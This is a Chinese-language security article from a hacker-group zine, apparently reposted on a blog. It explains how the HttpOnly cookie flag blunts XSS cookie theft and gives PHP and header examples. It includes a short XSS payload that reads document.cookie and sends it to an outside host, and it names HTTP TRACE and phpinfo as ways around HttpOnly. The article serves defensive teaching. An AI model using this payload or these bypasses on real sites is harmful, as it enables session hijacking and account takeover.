鬼仔's Blog

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x06 of 0x06

|=—————————————————————————=|
|=————-=[ 利用httponly提升应用程序安全性 ]=————–=|
|=—————————————————————————=|
|=—————————————————————————=|
|=——————–=[ By 剑心 ]=——————–=|
|=——————–=[ <root_at_ph4nt0m_dot_org> ]=——————–=|
|=—————————————————————————=|
|=—————————————————————————=|

随着www服务的兴起，越来越多的应用程序转向了B/S结构，这样只需要一个浏览器就可
以访问各种各样的web服务，但是这样也越来越导致了越来越多的web安全问题。www服务依
赖于Htpp协议实现，Http是无状态的协议，所以为了在各个会话之间传递信息，就不可避免地
用到Cookie或者Session等技术来标记访问者的状态，而无论是Cookie还是Session，一般都
是利用Cookie来实现的（Session其实是在浏览器的Cookie里带了一个Token来标记，服务器
取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定），这样
就不可避免地安全聚焦到了Cookie上面，只要获得这个Cookie，就可以取得别人的身份，这对
于入侵者是一件很美妙的事情，特别当获得的Cookie属于管理员等高权限身份者时，危害就
更大了。在各种web安全问题里，其中xss漏洞就因此显得格外危险。

对于应用程序来说，一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的
js脚本，如果应用程序是开源的或者功能是公开的话，别人就可以利用ajax使用这些功能，但
是过程往往很烦琐，特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源
的应用程序，譬如某些大型站点的web后台（web2.0一个显著的特征就是大量的交互，用户往
往需要跟后台的管理员交互，譬如Bug汇报，或者信息投递等等），尽管因为交互的存在可能存
在跨站脚本漏洞，但是因为对后台的不了解，无法构造完美的ajax代码来利用，即使可以用js
取得后台的代码并回传分析，但是过程同样烦琐而且不隐蔽。这个时候，利用xss漏洞获得
Cookie或者Session劫持就很有效了，具体分析应用程序的认证，然后使用某些技巧，甚至可
以即使对方退出程序也一样永久性获得对方的身份。

那么如何获得Cookie或者Session劫持呢？在浏览器中的document对象中，就储存了
Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有
别人的身份了。一个很典型的xss攻击语句如下：

xss exp:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.loveshell.net/c.php?c="+cookie+"&u="+url;

一些应用程序考虑到这个问题所在，所以可能会采取浏览器绑定技术，譬如将Cookie和
浏览器的User-agent绑定，一旦发现修改就认为Cookie失效。这种方法已经证明是无效的，
因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严
格的是将Cookie和Remote-addr相绑定（其实就是和IP绑定，但是一些程序取得IP的方法有问
题一样导致饶过），但是这样就带来很差的用户体验，更换Ip是经常的事，譬如上班与家里就
是2个IP，所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行，在
一些web 2.0站点很容易就取到应用程序的管理员身份。

如何保障我们的敏感Cookie安全呢？通过上面的分析，一般的Cookie都是从document对
象中获得的，我们只要让敏感Cookie在浏览器document中不可见就行了。很幸运，现在浏览
器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数，跟domain等其他参数一样，一
旦这个HttpOnly被设置，你在浏览器的document对象中就看不到Cookie了，而浏览器在浏览
的时候不受任何影响，因为Cookie会被放在浏览器头中发送出去（包括ajax的时候），应用程
序也一般不会在js里操作这些敏感Cookie的，对于一些敏感的Cookie我们采用HttpOnly，对
于一些需要在应用程序中用js操作的cookie我们就不予设置，这样就保障了Cookie信息的安
全也保证了应用。关于HttpOnly说明可以参照
http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

给浏览器设置Cookie的头如下：

Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

以php为例，在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持，譬如

<?php
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
?>

就可以设置abc这个cookie，将其设置为HttpOnly，document将不可见这个Cookie。因为
setcookie函数本质就是个header，所以一样可以使用header来设置HttpOnly。然后再使用
document.cookie就可以看到已经取不到这个Cookie了。我们用这种方法来保护利例如
Sessionid，如一些用于认证的auth-cookie，就不用担心身份被人获得了，这对于一些后台程
序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到，已经不能
获取被我们设置为HttpOnly的敏感Cookie了。

但是，也可以看到HttpOnly并不是万能的，首先它并不能解决xss的问题，仍然不能抵制
一些有耐心的黑客的攻击，也不能防止入侵者做ajax提交，甚至一些基于xss的proxy也出现
了，但是已经可以提高攻击的门槛了，起码xss攻击不是每个脚本小子都能完成的了，而且其
他的那些攻击手法因为一些环境和技术的限制，并不像Cookie窃取这种手法一样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的，关键问题是只要能取到浏览器发送
的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回
显出来，利用ajax或者flash就可以完成这种攻击，这种手法也已经在ajax和flash中获得修
补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo，大家知道
phpinfo会将浏览器发送的http头回显出来，其中就包括我们保护的auth信息，而这个页面经
常存在在各种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得
Cookie了。一些应用程序的不完善也可能导致header头的泄露，这种攻击方式对于basic验
证保护的页面一样可以攻击。

HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应
用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。

-EOF-